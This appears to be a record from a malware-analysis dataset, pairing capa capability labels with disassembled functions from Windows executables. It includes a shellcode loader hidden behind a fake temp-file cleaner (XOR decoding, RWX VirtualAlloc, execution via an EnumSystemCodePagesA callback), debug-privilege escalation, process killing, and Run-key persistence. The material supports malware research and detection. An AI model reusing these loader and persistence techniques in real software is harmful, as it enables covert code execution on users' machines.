joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40658a
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
mov eax, 0x42004e
call fcn.0040a0c8
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 0x18], 0
push 0x2faf080
call fcn.00406968
pop ecx
mov esi, eax
test esi, esi
je 0x4066e7
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [esi + 0x2faf080]
push eax
push esi
call fcn.00401a23
xor ebx, ebx
mov edi, 0x15bd
mov edx, dword [ebp - 0x18]
mov cl, byte [ebx + section..data]
ror cl, 3
xor cl, byte [edx + str.yvclfsuzgpcab]
mov byte [ebx + section..data], cl
lea eax, [edx + 1]
cdq
push 0xd
pop ecx
idiv ecx
inc ebx
cmp ebx, edi
jb 0x4065d5
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov ebx, section..data
sub ebx, eax
mov cl, byte [ebx + edx]
mov byte [edx], cl
inc edx
dec edi
jne 0x406611
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call fcn.0040a037
pop ecx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00402a7b
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00402946
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x28], eax
jne 0x406677
push str.No_temporary_files_found.
push 0x42e440
call fcn.00401688
push eax
call fcn.00401c5b
pop ecx
lea ecx, [ebp - 0x28]
call fcn.0040417d
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004040ed
jmp 0x4066e7
sub eax, dword [ebp - 0x28]
cdq
push 0x18
pop ecx
idiv ecx
push str._temporary_files_found._Do_you_want_to_delete_them___Y_N_
push eax
mov esi, 0x42e440
mov ecx, esi
call fcn.00402598
push eax
call fcn.00401688
lea eax, [ebp - 0x18]
push eax
push 0x42e3d8
call fcn.004011e9
push dword [ebp - 0x18]
call fcn.00408b1a
pop ecx
cmp ax, 0x59
jne 0x4066d0
lea eax, [ebp - 0x28]
push eax
call fcn.004028b6
push str.Temporary_files_deleted.
push esi
call fcn.00401688
push eax
call fcn.00401c5b
pop ecx
lea ecx, [ebp - 0x28]
call fcn.0040417d
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004040ed
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41afaf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42cd18]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040d489
mov dword [ebp - 0x14], eax
cmp dword [0x42f55c], esi
jne 0x41b0a2
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41b02f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41b182
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41b182
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b182
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42f55c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42f560], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42f564], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f56c], eax
test eax, eax
je 0x41b09f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f568], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b0c7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41b0ba
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x41b0dc
push 4
pop eax
jmp 0x41b184
cmp dword [ebp - 0x14], esi
je 0x41b0dc
push dword [0x42f55c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41b0c1
mov eax, dword [0x42f568]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41b13a
cmp dword [0x42f56c], edi
je 0x41b13a
push eax
call ebx
push dword [0x42f56c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41b13a
test eax, eax
je 0x41b13a
call ecx
test eax, eax
je 0x41b12f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41b12f
test byte [ebp - 8], 1
jne 0x41b13a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41b16a
mov eax, dword [0x42f560]
cmp eax, edi
je 0x41b167
push eax
call ebx
test eax, eax
je 0x41b167
call eax
mov esi, eax
test esi, esi
je 0x41b167
mov eax, dword [0x42f564]
cmp eax, edi
je 0x41b167
push eax
call ebx
test eax, eax
je 0x41b167
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42f55c]
call ebx
test eax, eax
je 0x41b182
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x41b184
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040bdeb
mov esp, ebp
pop ebp
ret
Function at 0x4010d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4159e9
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
mov eax, dword [0x41d480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [0x41f3d8], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [esi + 0x30]
push 0x15
mov dword [esi], 0x4187bc
mov dword [esi + 4], 0x4187c8
mov dword [esi + 8], 0x4187d8
mov dword [esi + 0xc], 0x4187e4
mov dword [esi + 0x10], 0x4187f0
mov dword [esi + 0x28], ebx
push str.C:Program_FilesWuji
push eax
mov dword [esi + 0x2c], eax
mov byte [eax], bl
call fcn.0040a627
mov eax, dword [esi + 0x2c]
mov byte [eax + 0x15], bl
lea eax, [esi + 0x84]
push 0x2c
mov dword [esi + 0x70], 0x1010101
mov byte [esi + 0x74], 1
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
push str.http:__www.hao123.com__tn29065018_76_hao_pg
push eax
mov dword [esi + 0x80], eax
mov byte [eax], bl
call fcn.0040a627
mov ecx, dword [esi + 0x80]
mov byte [ecx + 0x2c], bl
push 0xa0
mov byte [ebp - 4], 2
call fcn.00409f1e
add esp, 0x1c
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 3
cmp eax, ebx
je 0x40119e
push eax
call fcn.004035a0
jmp 0x4011a0
xor eax, eax
push ebx
lea edx, [ebp - 0x20]
mov dword [esi + 0x28], eax
push edx
lea eax, [esi + 0x14]
push eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402390
Capabilities:
Terminate process

Disassembly:
push esi
push edi
call fcn.00402520
mov eax, dword [0x41f3d8]
mov ecx, dword [eax + 8]
push ecx
call fcn.00402410
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4023c1
push 0
push eax
call edi
mov edx, dword [0x41f3d8]
mov eax, dword [edx + 4]
push eax
call fcn.00402410
push eax
push 0
push 1
call esi
test eax, eax
je 0x4023e0
push 0
push eax
call edi
mov ecx, dword [0x41f3d8]
mov edx, dword [ecx + 0x10]
push edx
call fcn.00402410
push eax
push 0
push 1
call esi
test eax, eax
je 0x4023ff
push 0
push eax
call edi
pop edi
pop esi
ret

Function at 0x402410
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2114
call fcn.00411750
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x110c]
push ecx
push 0x1000
lea edx, [ebp - 0x1108]
push edx
mov dword [ebp - 0x1110], eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x40245d
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x110c]
push ebx
push esi
push edi
shr eax, 2
xor edi, edi
test eax, eax
jle 0x4024e4
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + edi*4 - 0x1108]
push ecx
push 0
push 0x410
call ebx
lea edx, [ebp - 0x1114]
push edx
mov esi, eax
push 0x1000
lea eax, [ebp - 0x2114]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
mov edx, dword [ebp - 0x2114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
mov eax, dword [ebp - 0x1110]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.00409af0
add esp, 8
test eax, eax
jne 0x4024f9
mov edx, dword [ebp - 0x110c]
inc edi
shr edx, 2
cmp edi, edx
jl 0x402475
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + edi*4 - 0x1108]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409454
mov esp, ebp
pop ebp
ret 4
Function at 0x402520
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402566
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402576
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x4025c4
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00409454
mov esp, ebp
pop ebp
ret

Function at 0x402ab0
Capabilities:
Create thread

Disassembly:
cmp byte [esi + 8], 0
jne 0x402ae9
lea ecx, [esi + 0x10]
push ecx
push 0
push esi
push 0x402a90
push 0
push 0
mov dword [esi + 0xc], eax
call fcn.0040a063
add esp, 0x18
mov dword [esi + 4], eax
test eax, eax
je 0x402ae9
cmp byte [esi + 9], 0
je 0x402ae5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esi + 8], 1
movzx eax, byte [esi + 8]
ret

Function at 0x402af0
Capabilities:
Terminate thread

Disassembly:
cmp byte [esi + 8], 0
je 0x402b16
cmp byte [esi + 9], 0
jne 0x402b16
mov eax, dword [esi + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esi + 9], 1
ret
Function at 0x402b20
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x424], edx
call fcn.00412688
add esp, 8
lea ecx, [ebp - 0x418]
push ecx
push 0x4162fc
push 1
push 0
push 0x41630c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x402c89
mov eax, dword [ebp - 0x418]
mov edx, dword [eax]
mov edx, dword [edx]
lea ecx, [ebp - 0x41c]
push ecx
push 0x41631c
push eax
call edx
test eax, eax
js 0x402c7b
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
test ebx, ebx
jne 0x402bbf
mov edx, dword [0x41e6ac]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
jmp 0x402bc6
mov edx, dword [ecx + 0x50]
push ebx
push eax
call edx
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
test esi, esi
je 0x402bdb
mov edx, dword [ecx + 0x24]
push esi
push eax
call edx
jmp 0x402be8
lea edx, [ebp - 0x20c]
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
test edi, edi
je 0x402bfd
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 0
push edi
push eax
call edx
mov ecx, dword [ebp - 0x424]
test ecx, ecx
je 0x402c16
mov eax, dword [ebp - 0x418]
mov edx, dword [eax]
push ecx
push eax
mov eax, dword [edx + 0x1c]
call eax
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 1
push eax
call edx
mov eax, dword [ebp - 0x428]
test eax, eax
je 0x402c51
push eax
mov eax, dword [ebp - 0x420]
push eax
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040a12d
add esp, 0x10
jmp 0x402cdb
push 0x5c
test ebx, ebx
je 0x402c5a
push ebx
jmp 0x402c61
mov edx, dword [0x41e6ac]
push edx
call fcn.0040a4a0
add esp, 8
test eax, eax
jne 0x402c9c
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret 8
push eax
mov eax, dword [ebp - 0x420]
push eax
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040a12d
lea eax, [ebp - 0x108]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402cc1
sub eax, edx
lea eax, [ebp + eax - 0x108]
mov word [eax - 3], 0x6e6c
mov byte [eax - 1], 0x6b
push 0x104
lea edx, [ebp - 0x414]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x414]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 0x41c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 0x418]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
setns al
xor ecx, ebp
pop esi
call fcn.00409454
mov esp, ebp
pop ebp
ret 8
Function at 0x403690
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [esi + 4]
push 0
push 0x418cba
push eax
mov dword [esi], eax
mov byte [eax], 0
call fcn.0040a627
mov eax, dword [esi]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea ecx, [ebp - 0x160]
push ecx
push 0x20019
push 0
push str.SoftwareWuji
push 0x80000002
mov byte [eax], 0
call ebx
test eax, eax
jne 0x403759
push 0x103
push eax
lea edx, [ebp - 0x107]
push edx
mov byte [ebp - 0x108], al
call fcn.0040e600
mov edx, dword [ebp - 0x160]
add esp, 0xc
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x418cec
push edx
mov dword [ebp - 0x164], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40374c
lea eax, [ebp - 0x108]
push eax
push 0x418c7c
mov edi, esi
call fcn.004033e0
add esp, 8
mov ecx, dword [ebp - 0x160]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403760
sub eax, edx
test eax, eax
jg 0x403866
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x160]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareWuji
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp - 0x160]
push ecx
push 0x20006
push 0
push str.SoftwareWuji
push 0x80000002
call ebx
test eax, eax
jne 0x403866
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [ebp - 0x112]
movzx edx, word [ebp - 0x116]
lea eax, [ebp - 0x158]
push ecx
mov dword [ebp - 0x15c], eax
movzx eax, word [ebp - 0x118]
push edx
push eax
push str.__d_d_d
lea edi, [ebp - 0x15c]
mov byte [ebp - 0x158], 0
call fcn.004033e0
mov edx, dword [ebp - 0x15c]
mov eax, edx
add esp, 0x10
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403814
mov ecx, dword [ebp - 0x160]
sub eax, edi
push eax
push edx
push 1
push 0
push 0x418cec
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x160]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x15c]
call fcn.00402f80
mov eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x158]
cmp eax, ecx
je 0x403866
push eax
call fcn.00409901
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409454
mov esp, ebp
pop ebp
ret
Function at 0x403920
Capabilities:
Check if file exists
Create directory
Extract resource via kernel32 functions
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415b48
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x140], eax
push 0x418cf8
push 0x66
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x403980
mov eax, dword [ebp + 0xc]
lea ecx, [ebp + 0x10]
cmp eax, ecx
jmp 0x403a6d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push esi
test ebx, ebx
jne 0x40399b
call dword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x403a65
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
jne 0x4039b6
mov eax, dword [ebp + 0xc]
lea ecx, [ebp + 0x10]
cmp eax, ecx
jmp 0x403a6d
push edi
call fcn.004093de
add esp, 4
mov dword [0x41f3cc], eax
test eax, eax
je 0x4039e0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [0x41f3cc]
push eax
push edx
call fcn.0040aed0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x12c
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.0040e600
push edi
call fcn.00409020
mov edi, eax
add esp, 0x10
test edi, edi
je 0x403a60
push 0xffffffffffffffff
lea edx, [ebp - 0x13c]
call fcn.00409090
add esp, 4
test eax, eax
jne 0x403a60
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403a38
mov edx, dword [ebp + 0xc]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x44
lea eax, [ebp + 0xc]
mov esi, esp
mov dword [ebp - 0x144], esp
push eax
call fcn.00402d50
mov ecx, dword [ebp - 0x13c]
push ecx
mov ecx, dword [ebp - 0x140]
mov edx, edi
call fcn.00403aa0
call fcn.004090d0
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
cmp eax, edx
je 0x403a78
push eax
call fcn.00409901
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret 0x48
Function at 0x403aa0
Capabilities:
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415b10
mov eax, dword fs:[0]
push eax
sub esp, 0x17c
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, edx
mov dword [ebp - 0x184], edi
mov dword [ebp - 0x188], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [edi + 0x98]
cmp eax, ebx
je 0x403afe
mov ecx, dword [ebp + 8]
push ebx
push ecx
push 0x52c
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp + 8], ebx
jle 0x403c87
jmp 0x403b16
mov esi, dword [ebp - 0x188]
push 0x12c
lea edx, [ebp - 0x180]
push 0
push edx
call fcn.0040e600
add esp, 0xc
test esi, esi
jne 0x403b3c
mov dword [0x41f3d4], 0x10000
jmp 0x403b61
cmp dword [esi], 1
je 0x403b4d
mov dword [0x41f3d4], 0x80000
jmp 0x403b61
mov ecx, dword [esi + 4]
push ebx
lea edx, [ebp - 0x180]
call fcn.00408600
mov dword [0x41f3d4], eax
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0
test edi, edi
jne 0x403b77
mov edi, 0x418cba
mov ecx, edi
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x403b80
sub ecx, esi
mov esi, ecx
cmp esi, 0x3f
jl 0x403ba8
lea eax, [esi + 1]
push eax
push 0
mov dword [ebp - 0x54], 0
call fcn.0040a8d7
add esp, 8
mov dword [ebp - 0x54], eax
push esi
push edi
push eax
call fcn.0040a627
mov ecx, dword [ebp - 0x54]
add esp, 0xc
mov byte [esi + ecx], 0
push 0x418bf0
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 1
call fcn.00402de0
lea edx, [ebp - 0x17c]
push edx
lea eax, [ebp - 0x54]
call fcn.00402de0
test byte [ebp - 0x78], 0x10
je 0x403bec
mov eax, dword [ebp - 0x54]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [ebp - 0x188]
test eax, eax
jne 0x403c02
mov dword [0x41f3d4], 0x10000
jmp 0x403c25
cmp dword [eax], 1
je 0x403c13
mov dword [0x41f3d4], 0x80000
jmp 0x403c25
mov edx, dword [ebp - 0x54]
mov ecx, dword [eax + 4]
push edx
push ebx
call fcn.00408cf0
mov dword [0x41f3d4], eax
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x403c41
mov ecx, dword [ebp - 0x54]
and eax, 0xfffffffe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp - 0x184]
mov eax, dword [edx + 0x98]
test eax, eax
je 0x403c60
push 0
push ebx
push 0x52d
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x54]
lea ecx, [ebp - 0x50]
cmp eax, ecx
je 0x403c77
push eax
call fcn.00409901
add esp, 4
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x403b10
mov edi, dword [ebp - 0x184]
mov eax, dword [edi + 0x98]
test eax, eax
je 0x403ca1
push 0
push 0
push 0x52e
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
cmp eax, edx
je 0x403cb4
push eax
call fcn.00409901
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409454
mov esp, ebp
pop ebp
ret 0x48
Function at 0x404500
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x41d480]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x90]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404600
mov edx, dword [0x41f3d8]
push edi
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x88], al
mov eax, dword [edx + 4]
mov dword [ebp - 0x8c], ecx
mov ecx, dword [esi]
push eax
push ecx
push str.__s_s___mini
lea edi, [ebp - 0x8c]
call fcn.004033e0
lea edx, [ebp - 0x44]
push 0xa
mov eax, edx
push str.WujiPlayer
push eax
mov dword [ebp - 0x48], edx
mov byte [ebp - 0x44], 0
call fcn.0040a627
mov ecx, dword [ebp - 0x48]
mov byte [ecx + 0xa], 0
mov edx, dword [esi + 0x54]
add esp, 0x18
push edx
lea eax, [ebp - 0x48]
call fcn.00402de0
mov edx, dword [ebp - 0x8c]
mov eax, edx
lea esi, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4045a7
mov ecx, dword [ebp - 0x90]
sub eax, esi
push eax
mov eax, dword [ebp - 0x48]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
cmp eax, ecx
je 0x4045e7
push eax
call fcn.00409901
add esp, 4
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x88]
cmp eax, edx
je 0x404600
push eax
call fcn.00409901
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00409454
mov esp, ebp
pop ebp
ret